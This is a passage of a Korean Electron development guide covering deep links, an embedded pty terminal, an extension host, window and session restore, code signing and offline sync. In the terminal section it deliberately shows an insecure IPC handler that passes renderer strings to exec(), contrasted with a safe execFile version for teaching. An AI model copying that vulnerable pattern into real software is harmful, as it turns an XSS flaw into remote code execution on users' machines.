slack:// · vscode:// 를 눌렀을 때 이미 열려 있는 창이 앞으로 나오는 그 동작입니다. 상용 앱과 “그냥 만든 앱”이 갈리는 첫 번째 지점입니다.

브라우저 myapp://room/42 OS 등록표 registry / plist 첫 실행 process.argv 이미 실행 중 second-instance 창 포커스 방 42 열기
링크 한 번에 새 프로세스가 뜨느냐, 열려 있던 창이 응답하느냐 — 그 차이를 만드는 배선입니다.

① 프로토콜 등록 + 단일 인스턴스

import { app, BrowserWindow } from 'electron';
import path from 'node:path';

// 1) 내 앱이 myapp:// 를 담당한다고 OS 에 등록
if (process.defaultApp) {
  // 개발 중(electron . 로 띄울 때)은 실행 인자까지 함께 등록해야 한다
  if (process.argv.length >= 2)
    app.setAsDefaultProtocolClient('myapp', process.execPath,
                                   [path.resolve(process.argv[1])]);
} else {
  app.setAsDefaultProtocolClient('myapp');
}

// 2) 두 번째 실행을 막는다 — 실패하면 '내가 두 번째'라는 뜻
const primary = app.requestSingleInstanceLock();
if (!primary) {
  app.quit();                 // 인자는 이미 첫 번째 프로세스로 전달됐다
} else {
  app.on('second-instance', (_e, argv) => {
    // Windows · Linux: 두 번째 실행의 argv 가 여기로 넘어온다
    const url = argv.find(a => a.startsWith('myapp://'));
    focusMain();
    if (url) route(url);
  });

  // macOS: argv 가 아니라 open-url 이벤트로 온다
  app.on('open-url', (e, url) => { e.preventDefault(); focusMain(); route(url); });

  app.whenReady().then(() => {
    createWindow();
    // Windows · Linux 첫 실행: 시작 인자에 딥링크가 섞여 있다
    const url = process.argv.find(a => a.startsWith('myapp://'));
    if (url) route(url);
  });
}
플랫폼마다 들어오는 통로가 다릅니다. macOS 는 open-url, Windows·Linux 는 argv 입니다. 세 경로(첫 실행 argv · second-instance argv · open-url)를 모두 처리하지 않으면 “어떤 때는 되고 어떤 때는 안 되는” 버그가 됩니다 — 딥링크 문의의 대부분이 여기서 나옵니다.
단일 인스턴스 락은 딥링크만을 위한 게 아닙니다. SQLite 파일·로그 파일·설정 파일을 두 프로세스가 동시에 쓰는 사고를 막아 줍니다. 데이터를 파일로 들고 있는 앱이라면 거의 항상 켜야 합니다.

② URL 을 화면 이동으로 — 검증이 먼저

function focusMain() {
  const win = BrowserWindow.getAllWindows()[0];
  if (!win) return createWindow();
  if (win.isMinimized()) win.restore();
  win.show();
  win.focus();
}

// 딥링크는 '외부에서 들어온 입력'이다 — 화이트리스트로 받는다
const ROUTES = {
  room:    (id: string) => `/rooms/${encodeURIComponent(id)}`,
  ticket:  (id: string) => `/tickets/${encodeURIComponent(id)}`,
} as const;

function route(raw: string) {
  let u: URL;
  try { u = new URL(raw); } catch { return; }
  if (u.protocol !== 'myapp:') return;

  const kind = u.hostname;                       // myapp://room/42 → 'room'
  const id   = u.pathname.replace(/^\//, '');
  const make = ROUTES[kind as keyof typeof ROUTES];
  if (!make) return;                             // 모르는 경로는 조용히 버린다

  BrowserWindow.getAllWindows()[0]
    ?.webContents.send('deeplink:navigate', make(id));
}
딥링크는 공격 표면입니다. 악성 웹페이지가 myapp:// 링크를 심어 사용자를 클릭하게 만들 수 있습니다. URL 을 그대로 loadURL·shell.openPath·exec 에 넘기면 안 됩니다. 위처럼 허용한 경로만 화이트리스트로 매핑하고, 결제·삭제처럼 되돌릴 수 없는 동작은 딥링크로 바로 실행하지 말고 확인 화면을 거치세요.
패키징 쪽 설정도 함께 필요합니다 — electron-builder.yml 의 protocols:(name·schemes) 항목을 적어야 설치 시 OS 에 등록됩니다. macOS 는 CFBundleURLTypes 로 들어갑니다.

③ 파일 연결 · 자동 시작 · 최근 항목

// 파일 더블클릭으로 내 앱이 열리게 (.myproj 연결)
// macOS
app.on('open-file', (e, filePath) => { e.preventDefault(); openProject(filePath); });
// Windows · Linux — 경로가 argv 로 들어온다 (딥링크와 같은 통로)

// 로그인 시 자동 시작 — '조용히' 트레이로만 뜨게
app.setLoginItemSettings({
  openAtLogin: true,
  openAsHidden: true,                       // macOS
  args: ['--hidden'],                       // Windows 에서 우리가 직접 해석
});

// 최근 파일 (Windows 점프리스트 · macOS 독 메뉴에 자동 반영)
app.addRecentDocument(filePath);

// Windows 작업 표시줄 진행률 · 배지
win.setProgressBar(0.42);                   // -1 이면 숨김
app.setBadgeCount(3);                       // macOS · 일부 Linux
자동 시작을 기본값으로 켜지 마세요. 사내 배포에서 가장 많이 오는 항의가 “PC 가 느려졌다”입니다. 설정에서 사용자가 켜게 하고, 켜더라도 openAsHidden/--hidden 으로 창 없이 트레이만 띄우세요.

④ 상용 앱이 실제로 하는 것

Slack
slack://channel?team=T1&id=C2 웹에서 누르면 앱이 이미 켜져 있으면 그 창, 없으면 실행 후 이동. 앱이 없으면 웹으로 폴백하는 중간 착지 페이지를 씁니다.
VS Code
vscode://file/C:/x/a.ts:12:5 파일·줄·열까지 실어 보냅니다. 확장이 자기 스킴을 등록할 수 있어 딥링크 자체가 확장 API 입니다.
Discord
단일 인스턴스 + 트레이 상주 창을 닫아도 프로세스는 남고, 아이콘을 누르면 같은 창이 복원됩니다. close 를 가로채 hide() 로 바꾸는 패턴입니다.
// 닫기 = 종료가 아니라 숨기기 (트레이 상주형 앱의 표준)
let quitting = false;
app.on('before-quit', () => { quitting = true; });

win.on('close', (e) => {
  if (quitting) return;                     // 진짜 종료
  e.preventDefault();
  win.hide();
  if (process.platform === 'darwin') app.dock?.hide();
});
이 패턴을 쓰면 “종료가 안 된다”는 문의가 따라옵니다. 트레이 메뉴에 종료 항목을 반드시 두고, 처음 숨길 때 한 번은 풍선 알림으로 “트레이에서 계속 실행 중”을 알려 주세요.
ELECTRON 13

통합 터미널 · 자식 프로세스 붙이기

VS Code 의 터미널 패널을 만드는 부품은 두 개입니다 — node-pty(가짜 터미널)와 xterm.js(화면). 빌드 로그·배포 스크립트를 앱 안에서 돌리는 사내 도구의 핵심 부품이기도 합니다.

왜 spawn 이 아니라 pty 인가

child_process.spawn
  • 파이프라 TTY 가 아니다 → 색이 안 나오고 진행바가 깨집니다
  • npm·docker 가 “터미널이 아님”으로 판단해 출력 형식을 바꿉니다
  • 창 크기 개념이 없어 줄바꿈이 엉킵니다
  • 대화형 입력(비밀번호 프롬프트)이 동작하지 않습니다
node-pty
  • OS 에게 진짜 터미널을 하나 만들어 달라고 요청합니다
  • 색·커서 제어·진행바가 그대로 옵니다
  • resize(cols, rows) 로 창 크기를 알려 줄 수 있습니다
  • Windows 는 ConPTY, 유닉스는 forkpty 를 씁니다
npm i node-pty @xterm/xterm @xterm/addon-fit
# node-pty 는 네이티브 모듈 → Electron ABI 로 다시 빌드해야 한다
npm i -D @electron/rebuild && npx electron-rebuild
네이티브 모듈이라 “내 PC 에선 되는데”가 자주 납니다. electron-rebuild 를 postinstall 에 걸고, CI 에서 배포 대상 OS 별로 각각 빌드하세요 (⚙️ 네이티브 · 미디어 탭 07 네이티브 모듈 운영에서 이어집니다).

메인 프로세스 — 세션 관리

import * as pty from 'node-pty';
import { app, ipcMain, BrowserWindow } from 'electron';
import os from 'node:os';

const shell = process.platform === 'win32'
  ? (process.env.COMSPEC ?? 'powershell.exe')
  : (process.env.SHELL   ?? '/bin/bash');

const sessions = new Map<string, pty.IPty>();

ipcMain.handle('term:create', (e, { cols, rows, cwd }) => {
  const id = crypto.randomUUID();
  const p = pty.spawn(shell, [], {
    name: 'xterm-color', cols, rows,
    cwd: cwd ?? os.homedir(),
    env: { ...process.env, TERM: 'xterm-256color' },
  });

  // ── 흐름 제어: 출력을 모아서 보낸다 ──────────────────
  // 빌드 로그는 초당 수천 줄이 나온다. 한 줄마다 IPC 를 태우면
  // 렌더러가 먼저 죽는다. 16ms(한 프레임) 단위로 묶어 보낸다.
  let buf = '', timer: NodeJS.Timeout | null = null;
  const wc = BrowserWindow.fromWebContents(e.sender)!.webContents;
  p.onData(chunk => {
    buf += chunk;
    if (buf.length > 512 * 1024) buf = buf.slice(-512 * 1024);  // 폭주 방어
    timer ??= setTimeout(() => {
      wc.send(`term:data:${id}`, buf); buf = ''; timer = null;
    }, 16);
  });

  p.onExit(({ exitCode }) => {
    wc.send(`term:exit:${id}`, exitCode);
    sessions.delete(id);
  });

  sessions.set(id, p);
  return id;
});

ipcMain.on('term:input',  (_e, id, data)       => sessions.get(id)?.write(data));
ipcMain.on('term:resize', (_e, id, cols, rows) => sessions.get(id)?.resize(cols, rows));
ipcMain.on('term:kill',   (_e, id)             => sessions.get(id)?.kill());

// 창이 닫히면 자식 프로세스도 정리한다 — 안 하면 유령 셸이 남는다
app.on('before-quit', () => { for (const p of sessions.values()) p.kill(); });
16ms 배칭이 이 섹션의 핵심입니다. npm run build 한 번이 3만 줄을 뱉는 일은 흔합니다. 줄마다 IPC 를 보내면 초당 수천 번의 직렬화가 일어나 UI 가 멈춥니다. 모아 보내기 + 상한(512KB) 두 줄이 터미널 패널의 체감 품질을 결정합니다.

렌더러 — xterm.js 연결

import { Terminal } from '@xterm/xterm';
import { FitAddon } from '@xterm/addon-fit';
import '@xterm/xterm/css/xterm.css';

const term = new Terminal({
  fontFamily: 'JetBrains Mono, Consolas, monospace',
  fontSize: 13,
  scrollback: 5000,                 // 무제한으로 두면 메모리가 계속 큽니다
  theme: { background: '#0b1220' },
});
const fit = new FitAddon();
term.loadAddon(fit);
term.open(document.getElementById('term')!);
fit.fit();

const id = await window.api.term.create({ cols: term.cols, rows: term.rows });

term.onData(d => window.api.term.input(id, d));       // 키 입력 → pty
window.api.term.onData(id, d => term.write(d));       // pty 출력 → 화면

// 창 크기가 바뀌면 pty 에도 알려 줘야 줄바꿈이 안 깨진다
const ro = new ResizeObserver(() => {
  fit.fit();
  window.api.term.resize(id, term.cols, term.rows);
});
ro.observe(document.getElementById('term')!);

터미널을 열어 준다는 것의 무게

터미널 = 사용자 PC 에서 임의 명령 실행입니다. “버튼을 누르면 배포 스크립트가 도는” 사내 도구를 만들 때, 렌더러가 보낸 문자열을 그대로 셸에 넘기면 XSS 하나가 곧바로 원격 코드 실행이 됩니다.
위험 — 문자열을 셸에 통째로
ipcMain.handle('run', (_e, cmd) =>
  exec(cmd));            // 렌더러가 시키는 대로 다 한다
안전 — 명령은 메인이 정한다
const TASKS = {
  build:  ['npm', ['run', 'build']],
  deploy: ['node', ['scripts/deploy.js']],
} as const;
const run = promisify(execFile);   // node:util

ipcMain.handle('run', async (_e, key: keyof typeof TASKS) => {
  const t = TASKS[key];
  if (!t) throw new Error('unknown task');
  const { stdout } = await run(t[0], [...t[1]], { shell: false });
  return stdout;   // ★ ChildProcess 객체는 IPC 로 못 넘깁니다 — 결과만 돌려줍니다
});
  • 셸을 통하지 않기 — execFile + shell:false
  • 작업 목록은 메인에 상수로 — 렌더러는 키만 보냅니다
  • 자유 터미널이 꼭 필요하면 기능 자체를 설정으로 잠글 수 있게 두세요
  • cwd 는 앱이 정한 작업 폴더로 고정 — 사용자 입력 경로는 검증
사내 도구 현실 조언 — 대부분의 요구는 “터미널”이 아니라 “정해진 스크립트 3개를 버튼으로” 입니다. 먼저 execFile + 로그 뷰로 만들고, 진짜 대화형이 필요할 때만 pty 를 붙이세요.
ELECTRON 14

확장 시스템 — VS Code 가 안 죽는 이유

확장 5만 개가 도는데도 편집기가 멈추지 않는 것은 성능이 아니라 격리 설계 때문입니다. 남의 코드를 내 프로세스 밖에 두는 구조를 그대로 따라 만듭니다.

Main 창 · 파일 · OS Renderer UI · 편집 화면 Extension Host — utilityProcess 확장 A 정상 확장 B 무한 루프 확장 C 정상 여기서 무슨 일이 나도 창은 살아 있다 죽으면 호스트만 재시작 → 확장 다시 로드
확장은 같은 프로세스에 들이지 않습니다. 남의 코드가 무한 루프를 돌아도 사용자가 잃는 건 “확장 기능”뿐입니다.

① 확장 호스트 띄우기

import { utilityProcess, MessageChannelMain } from 'electron';
import path from 'node:path';

let host: Electron.UtilityProcess | null = null;

function startHost() {
  const { port1, port2 } = new MessageChannelMain();

  host = utilityProcess.fork(path.join(__dirname, 'ext-host.js'), [], {
    serviceName: 'extension-host',
    // 확장은 앱 권한을 그대로 물려받으면 안 된다 — 환경 변수부터 줄인다
    env: { NODE_ENV: process.env.NODE_ENV ?? 'production' },
  });

  host.postMessage({ type: 'init' }, [port1]);   // 포트를 넘겨 직접 통신
  wireRenderer(port2);

  host.on('exit', (code) => {
    log.warn('extension host exited', code);
    if (code !== 0) setTimeout(startHost, 1000);  // 죽으면 되살린다
  });
}
utilityProcess 는 Chromium 이 관리하는 Node 프로세스입니다. child_process.fork 와 달리 앱이 죽으면 같이 정리되고 MessagePort 를 직접 주고받을 수 있어, 메인을 거치지 않는 렌더러 ↔ 확장 직통 채널을 만들 수 있습니다.

② 매니페스트 + 지연 활성화

{
  "name": "csv-preview",
  "version": "1.2.0",
  "engines": { "myapp": "^3.0.0" },
  "main": "./out/index.js",
  "activationEvents": [
    "onLanguage:csv",
    "onCommand:csv.preview"
  ],
  "contributes": {
    "commands":  [{ "command": "csv.preview", "title": "CSV 미리보기" }],
    "menus":     { "editor/title": [{ "command": "csv.preview" }] },
    "settings":  { "csv.delimiter": { "type": "string", "default": "," } }
  },
  "permissions": ["workspace.read"]
}
활성화 이벤트가 성능의 전부입니다. 확장 50개를 시작할 때 전부 require 하면 시작이 3초씩 밀립니다. VS Code 가 “CSV 파일을 열었을 때”처럼 조건을 매니페스트에 선언하게 만든 이유입니다 — 조건이 만족될 때까지 코드를 읽지도 않습니다.

③ 확장에게 주는 API — 좁게, 검사하며

// ext-host.js — 확장이 import 하는 것은 '내가 만든 객체' 하나뿐
function makeApi(manifest: Manifest) {
  const can = (p: string) => manifest.permissions?.includes(p) ?? false;

  return Object.freeze({
    commands: {
      register(id: string, fn: () => void) {
        if (!id.startsWith(manifest.name + '.'))     // 남의 이름표 도용 금지
          throw new Error('command id must be prefixed');
        registry.set(id, guard(manifest, fn));
      },
    },
    workspace: {
      readFile: (p: string) => {
        if (!can('workspace.read')) throw new Error('permission denied');
        return rpc('workspace.readFile', p);          // 실제 IO 는 메인이 한다
      },
    },
    window: { showMessage: (m: string) => rpc('window.showMessage', m) },
  });
}

// 오래 잡아먹는 확장은 표시해 둔다 (VS Code 의 '확장 성능' 화면과 같은 원리)
function guard(m: Manifest, fn: Function) {
  return async (...a: unknown[]) => {
    const t = performance.now();
    try { return await fn(...a); }
    finally {
      const ms = performance.now() - t;
      if (ms > 100) telemetry.slowExtension(m.name, ms);
    }
  };
}

④ 설계할 때 미리 정해 둘 것

  • API 는 한 번 공개하면 못 지웁니다. 처음엔 다섯 개로 시작하세요 — 늘리는 건 쉽고 줄이는 건 불가능합니다
  • 버전 범위를 매니페스트에 강제(engines) — 안 맞으면 로드 거부하고 이유를 보여 줍니다
  • 확장 전용 저장소를 주세요(ctx.storagePath). 아니면 남의 설정 파일을 건드립니다
  • UI 는 직접 그리게 하지 마세요. DOM 접근을 열면 격리가 무의미해집니다 — 선언(메뉴·명령·뷰 타입)만 받고 그리는 것은 앱이 합니다
  • 느린 확장·죽은 확장 목록을 사용자에게 보여 주세요. “앱이 느리다”의 원인을 사용자가 스스로 찾습니다
사내 도구에서도 쓸모가 있습니다. 팀마다 다른 요구를 본체에 다 넣으면 앱이 무너집니다. “팀별 스크립트를 확장으로” 두면 본체는 안정적으로 두고 각 팀이 자기 속도로 붙일 수 있습니다.
남의 코드를 로드한다면 공급망 검토가 따라옵니다. 확장 설치 시 서명·해시 검증, 버전 고정, 사내 레지스트리를 함께 설계하세요 (🧬 전문가 탭 13 공급망 보안).
ELECTRON 15

창 상태 · 세션 복원

껐다 켰을 때 어제 그 자리, 그 문서가 그대로 있는 것 — 기능 목록에는 안 적히지만 “완성도”라고 부르는 것의 절반입니다.

창 위치 복원 — 모니터 검증이 핵심

import { screen, BrowserWindow } from 'electron';
import Store from 'electron-store';

const store = new Store<{ win: Rect & { max: boolean } }>();

function restoreBounds() {
  const s = store.get('win');
  const def = { width: 1280, height: 800 };
  if (!s) return def;

  // ★ 저장된 좌표가 '지금도 존재하는 화면' 안인지 확인한다.
  //   노트북에서 외부 모니터를 빼면 창이 화면 밖에 놓여 영영 안 보인다.
  const visible = screen.getAllDisplays().some(d => {
    const w = d.workArea;
    return s.x >= w.x - 40 && s.y >= w.y - 40 &&
           s.x + 80 <= w.x + w.width && s.y + 40 <= w.y + w.height;
  });
  return visible ? s : def;                 // 안 보이면 기본 위치로
}

const win = new BrowserWindow({ ...restoreBounds(), show: false });
if (store.get('win')?.max) win.maximize();
win.once('ready-to-show', () => win.show());   // 흰 화면 깜빡임 방지

// 저장은 몰아서 — resize 이벤트는 드래그 중 초당 수십 번 옵니다
let t: NodeJS.Timeout;
const save = () => {
  clearTimeout(t);
  t = setTimeout(() => {
    if (win.isDestroyed()) return;
    store.set('win', { ...win.getNormalBounds(), max: win.isMaximized() });
  }, 400);
};
win.on('resize', save);
win.on('move', save);
// ★ 닫을 때는 즉시 — 400ms 뒤에는 창이 이미 없어서 위의 save 로는 저장되지 않습니다
win.on('close', () => {
  clearTimeout(t);
  store.set('win', { ...win.getNormalBounds(), max: win.isMaximized() });
});
getBounds() 가 아니라 getNormalBounds() 입니다. 최대화 상태에서 getBounds() 를 저장하면 “복원”을 눌렀을 때 크기가 화면 전체가 되어 원래 크기를 영영 잃습니다. 모니터 해제 검증과 함께, 버그 리포트가 가장 많이 오는 두 지점입니다.

세션 복원 — 무엇을 되살릴 것인가

항상
창 위치 · 크기 · 최대화 · 사이드바 폭 비용이 거의 없고 효과가 가장 큽니다. 여기부터 하세요.
보통
열려 있던 탭 · 스크롤 위치 · 선택 영역 문서 경로만 저장하고 내용은 다시 읽습니다. 내용까지 저장하면 디스크의 원본과 어긋납니다.
주의
저장 안 된 편집 내용 VS Code 의 “핫 엑싯”. 별도 백업 폴더에 쓰고 복원 시 원본과 다르다는 표시를 반드시 보여 줘야 합니다.
금지
로그인 세션 · 토큰을 평문 파일로 safeStorage.encryptString() 으로 OS 키체인에 맡기세요.
import { safeStorage } from 'electron';

// OS 가 제공하는 암호화 (Keychain · DPAPI · libsecret)
function saveToken(t: string) {
  if (!safeStorage.isEncryptionAvailable()) return;   // 리눅스는 없을 수 있다
  store.set('tok', safeStorage.encryptString(t).toString('base64'));
}
function loadToken(): string | null {
  const b = store.get('tok');
  if (!b) return null;
  try { return safeStorage.decryptString(Buffer.from(b, 'base64')); }
  catch { store.delete('tok'); return null; }   // 다른 PC 로 복사된 경우
}
복원은 “실패해도 앱은 떠야” 합니다. 상태 파일이 깨졌을 때 시작 자체가 막히면 사용자는 재설치밖에 못 합니다. 복원 코드 전체를 try/catch 로 감싸고, 실패하면 파일을 .bak 으로 밀어내고 기본값으로 시작하세요.
ELECTRON 16

코드 서명 · 공증 · 배포 채널

“다운로드했는데 Windows 가 막아요”, “손상된 파일이래요” — 기능이 아니라 서명 문제입니다. 사내 배포든 외부 배포든 여기서 한 번은 막힙니다.

Windows — SmartScreen 을 넘는 법

  • 서명이 없으면 — “Windows 의 PC 보호” 파란 창. 사용자의 90%가 여기서 포기합니다
  • OV 인증서(연 20~40만원대) — 서명은 되지만 평판이 쌓일 때까지 경고가 계속 뜹니다
  • EV 인증서 · Azure Trusted Signing — 즉시 신뢰. 2023년 6월부터 코드 서명 키는 HSM·클라우드 보관이 의무라 pfx 파일을 CI 에 두는 방식은 끝났습니다
# electron-builder.yml — Azure Trusted Signing (요즘 가장 현실적)
win:
  target: [{ target: nsis, arch: [x64, arm64] }]
  azureSignOptions:              # ★ win 아래에 둡니다 (최상위에 두면 설정 오류)
    publisherName: "MyCompany Inc."
    endpoint: "https://eus.codesigning.azure.net"
    certificateProfileName: "myapp-profile"
    codeSigningAccountName: "myapp-signing"
nsis:
  oneClick: false                # 설치 경로를 고를 수 있게
  perMachine: false              # 관리자 권한 없이 설치 (사내 배포에 유리)
  allowToChangeInstallationDirectory: true
사내 배포에서 자주 나오는 함정 — 백신·EDR 이 서명 없는 exe 를 격리합니다. 서명이 어렵다면 최소한 정보보안팀에 해시를 등록해 예외 처리를 받으세요. “왜 나만 설치가 안 되죠?”의 대부분이 이 경우입니다.

macOS — 서명 + 공증은 한 세트

mac:
  hardenedRuntime: true          # 공증의 전제 조건
  gatekeeperAssess: false
  entitlements: build/entitlements.mac.plist
  notarize: true                 # electron-builder 26+ 는 이 한 줄
  target: [{ target: dmg, arch: [x64, arm64] }]
<!-- build/entitlements.mac.plist — 필요한 것만 켠다 -->
<key>com.apple.security.cs.allow-jit</key><true/>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key><true/>
<!-- 마이크·카메라를 쓴다면 (음성 채팅·화면 공유) -->
<key>com.apple.security.device.audio-input</key><true/>
# CI 환경 변수 (App Store Connect API 키 방식이 표준)
APPLE_API_KEY=./AuthKey_XXXX.p8
APPLE_API_KEY_ID=XXXXXXXX
APPLE_API_ISSUER=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

# 결과 확인 — 공증이 붙었는지 최종 확인
xcrun stapler validate dist/MyApp.dmg
spctl -a -vv -t install dist/MyApp.app
“손상되었기 때문에 열 수 없습니다”는 파일 손상이 아닙니다. 거의 항상 공증 누락 또는 서명 후 파일을 건드림입니다. 서명 뒤에 파일을 하나라도 수정하면 서명이 깨집니다 — 빌드 파이프라인에서 서명은 마지막 단계여야 합니다.

배포 채널 · 점진적 롤아웃

import { autoUpdater } from 'electron-updater';

// 채널: latest(안정) · beta · alpha — 버전에 -beta.1 을 붙이면 자동 인식
autoUpdater.channel = store.get('updateChannel', 'latest');
autoUpdater.autoDownload = false;          // 사용자에게 먼저 묻는다

autoUpdater.on('update-available', async (info) => {
  const { response } = await dialog.showMessageBox({
    type: 'info',
    message: `새 버전 ${info.version} 이 있습니다`,
    detail: releaseNotesText(info),
    buttons: ['지금 받기', '나중에'],
  });
  if (response === 0) autoUpdater.downloadUpdate();
});

// 받아 두고 '다음 실행 때' 적용 — 작업 중 강제 재시작은 최악의 경험
autoUpdater.on('update-downloaded', () => {
  showRestartBanner(() => autoUpdater.quitAndInstall(false, true));
});
# 서버의 latest.yml 에 넣으면 일부에게만 먼저 나갑니다
version: 3.4.0
stagingPercentage: 10       # 10% 에게만 → 문제 없으면 100 으로
path: MyApp-3.4.0.exe
sha512: ...
델타 업데이트 — electron-builder 는 .blockmap 을 함께 만들어 바뀐 블록만 내려받습니다. 150MB 앱의 패치가 5~15MB 로 줄어듭니다. 이전 버전의 blockmap 을 서버에서 지우지 마세요 — 지우면 전체 재다운로드가 됩니다.

GitHub Actions — 3 OS 동시 빌드

jobs:
  build:
    strategy:
      matrix:
        os: [windows-latest, macos-latest, ubuntu-latest]
    runs-on: ${{ matrix.os }}
    steps:
      - uses: actions/checkout@v5
      - uses: actions/setup-node@v5
        with: { node-version: 24, cache: npm }
      - run: npm ci
      - run: npx electron-builder --publish always
        env:
          GH_TOKEN:         ${{ secrets.GITHUB_TOKEN }}
          APPLE_API_KEY_ID: ${{ secrets.APPLE_API_KEY_ID }}
          APPLE_API_ISSUER: ${{ secrets.APPLE_API_ISSUER }}
          CSC_LINK:         ${{ secrets.CSC_LINK }}
          CSC_KEY_PASSWORD: ${{ secrets.CSC_KEY_PASSWORD }}
  • macOS 는 macOS 러너에서만 서명·공증됩니다 — 교차 빌드로는 안 됩니다
  • Windows arm64 도 함께 내세요 — Copilot+ PC 사용자가 늘고 있습니다
  • Linux 는 AppImage + deb 두 개면 대부분 커버됩니다
  • 서명 키는 절대 저장소에 넣지 말 것 — Secrets 또는 클라우드 서명 서비스
배포 인프라 전반(무중단 · 헬스체크 · 롤백)은 🌐 서버기술 가이드의 로드밸런싱 · 무중단 탭에서 이어집니다 — 업데이트 서버를 직접 운영한다면 함께 보세요.
ELECTRON 17

오프라인 우선 · 동기화 설계

Slack·Notion 을 지하철에서 열어도 어제 대화가 보이고 글이 써집니다. 데스크탑 앱이 웹앱과 갈라지는 지점이자, 가장 자주 틀리는 설계입니다.

로컬 먼저, 화면 먼저, 네트워크는 나중 — 가로줄 하나가 역할 하나 화면 로컬 DB 아웃박스 서버 ① 로컬에 쓰기 ② 즉시 · 전송중 ③ 큐에 적재 네트워크 살아나면 ④ 전송 · 재시도 WS 로 회신 ⑤ 변경분 병합 ⑥ 확정 표시 입력 순간 시간 로컬이 진실의 1차 원본 — 서버를 기다리지 않으니 오프라인에서도 화면이 멈추지 않습니다
핵심은 순서입니다 — 로컬에 먼저 쓰고, 화면을 먼저 바꾸고, 네트워크는 나중에.

아웃박스 패턴 — 보낼 것을 DB 에 적는다

-- 로컬 SQLite (better-sqlite3 · node:sqlite)
CREATE TABLE messages (
  id          TEXT PRIMARY KEY,     -- 클라이언트가 만든 UUID
  room_id     TEXT NOT NULL,
  body        TEXT NOT NULL,
  created_at  INTEGER NOT NULL,
  server_seq  INTEGER,              -- NULL 이면 아직 서버가 모르는 것
  state       TEXT NOT NULL         -- pending | sent | failed
);
CREATE INDEX idx_msg_room ON messages(room_id, created_at);

CREATE TABLE outbox (
  id        TEXT PRIMARY KEY,
  op        TEXT NOT NULL,          -- create.message · update.doc ...
  payload   TEXT NOT NULL,          -- JSON
  tries     INTEGER NOT NULL DEFAULT 0,
  next_at   INTEGER NOT NULL        -- 지수 백오프용 시각
);
// 전송 = '로컬에 쓰기' 한 트랜잭션. 네트워크는 나중 일이다
const send = db.transaction((roomId: string, body: string) => {
  const id = crypto.randomUUID();
  db.prepare(`INSERT INTO messages
      (id,room_id,body,created_at,state) VALUES (?,?,?,?,'pending')`)
    .run(id, roomId, body, Date.now());
  db.prepare(`INSERT INTO outbox (id,op,payload,next_at) VALUES (?,?,?,?)`)
    .run(id, 'create.message', JSON.stringify({ id, roomId, body }), Date.now());
  return id;
});

// 화면은 로컬 DB 만 봅니다 — 네트워크 상태와 무관하게 항상 그려집니다
id 를 클라이언트가 만드는 것이 포인트입니다. 서버가 id 를 준다면 오프라인에서 글을 쓸 수 없습니다. UUID 를 클라이언트가 만들면 같은 요청을 두 번 보내도 서버가 중복을 걸러 낼 수 있어 (멱등성) 재시도가 안전해집니다.

플러시 루프 · 재연결

const BACKOFF = [1_000, 2_000, 5_000, 15_000, 60_000];

async function flush() {
  const now = Date.now();
  const rows = db.prepare(
    `SELECT * FROM outbox WHERE next_at <= ? ORDER BY next_at LIMIT 20`).all(now);

  for (const r of rows) {
    try {
      await api(r.op, JSON.parse(r.payload));       // 서버는 id 로 멱등 처리
      db.prepare(`DELETE FROM outbox WHERE id = ?`).run(r.id);
      db.prepare(`UPDATE messages SET state='sent' WHERE id = ?`).run(r.id);
    } catch (e) {
      const tries = r.tries + 1;
      const wait  = BACKOFF[Math.min(tries - 1, BACKOFF.length - 1)];
      // 4xx 는 재시도해도 소용없다 — 실패로 확정하고 사용자에게 알린다
      const fatal = e instanceof HttpError && e.status >= 400 && e.status < 500;
      if (fatal || tries > 12) {
        db.prepare(`DELETE FROM outbox WHERE id=?`).run(r.id);
        db.prepare(`UPDATE messages SET state='failed' WHERE id=?`).run(r.id);
      } else {
        db.prepare(`UPDATE outbox SET tries=?, next_at=? WHERE id=?`)
          .run(tries, now + wait, r.id);
      }
    }
  }
}

// 네트워크가 돌아오면 즉시 한 번 — 이벤트는 렌더러에서 받아 메인으로 넘긴다
setInterval(flush, 3_000);
ipcMain.on('net:online', () => flush());
navigator.onLine 은 “랜선이 꽂혀 있다”만 알려 줍니다. 사내 프록시·캡티브 포털에서는 온라인인데 서버는 못 가는 상태가 흔합니다. 실제 판단 기준은 요청의 성공 여부여야 하고, onLine 은 재시도를 앞당기는 힌트로만 쓰세요.

충돌 — 무엇을 고를 것인가

LWW
나중에 쓴 쪽이 이긴다 구현이 가장 쉽고 대부분의 사내 도구에 충분합니다. 단, 서버 시각을 기준으로 하세요 — PC 시계는 틀어져 있습니다.
필드 병합
바뀐 필드만 각각 적용 A 는 제목을, B 는 담당자를 바꿨다면 둘 다 살립니다. 이슈 트래커·설정 화면에 잘 맞습니다.
CRDT
동시 편집 (Yjs · Automerge) 같은 문단을 동시에 타이핑해야 할 때만. 문서 크기·메모리 비용이 크므로 필요할 때만 도입하세요.
수동
사용자에게 물어보기 회계·계약처럼 틀리면 안 되는 데이터는 자동 병합하지 말고 양쪽을 보여 주고 고르게 하세요.
고르는 기준은 한 줄입니다 — “두 사람이 같은 값을 동시에 바꾸는 일이 실제로 일어나는가?” 아니라면 LWW 로 충분합니다. CRDT 부터 꺼내는 것이 흔한 과설계입니다.

델타 동기화 — 매번 전부 받지 않기

// 서버는 단조 증가하는 seq(또는 커서)를 준다
async function pull() {
  const since = db.prepare(`SELECT COALESCE(MAX(server_seq),0) s FROM messages`)
                  .get().s;
  const { changes, nextSeq, reset } = await api('sync.pull', { since });

  if (reset) return fullResync();     // 서버가 '너무 오래됐다'고 하면 전체 재동기화

  db.transaction(() => {
    for (const c of changes) {
      if (c.deleted) db.prepare(`DELETE FROM messages WHERE id=?`).run(c.id);
      else db.prepare(`INSERT INTO messages (id,room_id,body,created_at,server_seq,state)
             VALUES (@id,@roomId,@body,@createdAt,@seq,'sent')
             ON CONFLICT(id) DO UPDATE SET
               body=excluded.body, server_seq=excluded.server_seq`).run(c);
    }
    db.prepare(`UPDATE meta SET cursor=?`).run(nextSeq);
  })();
}

// 실시간은 WebSocket, 재연결 직후엔 반드시 pull() 한 번
ws.on('open',    () => pull());        // 끊긴 동안의 변경분을 메운다
ws.on('message', (m) => applyChange(JSON.parse(m)));
  • 재연결 직후 pull 을 빼먹는 것이 “가끔 메시지가 안 보여요”의 정체입니다
  • 로컬 DB 는 영원히 커집니다 — 오래된 방은 정리 정책을 두세요
  • 스키마가 바뀌면 마이그레이션이 필수입니다(user_version 활용)
  • 동기화 상태(대기 N건 · 마지막 동기화 시각)를 UI 에 항상 보여 주세요
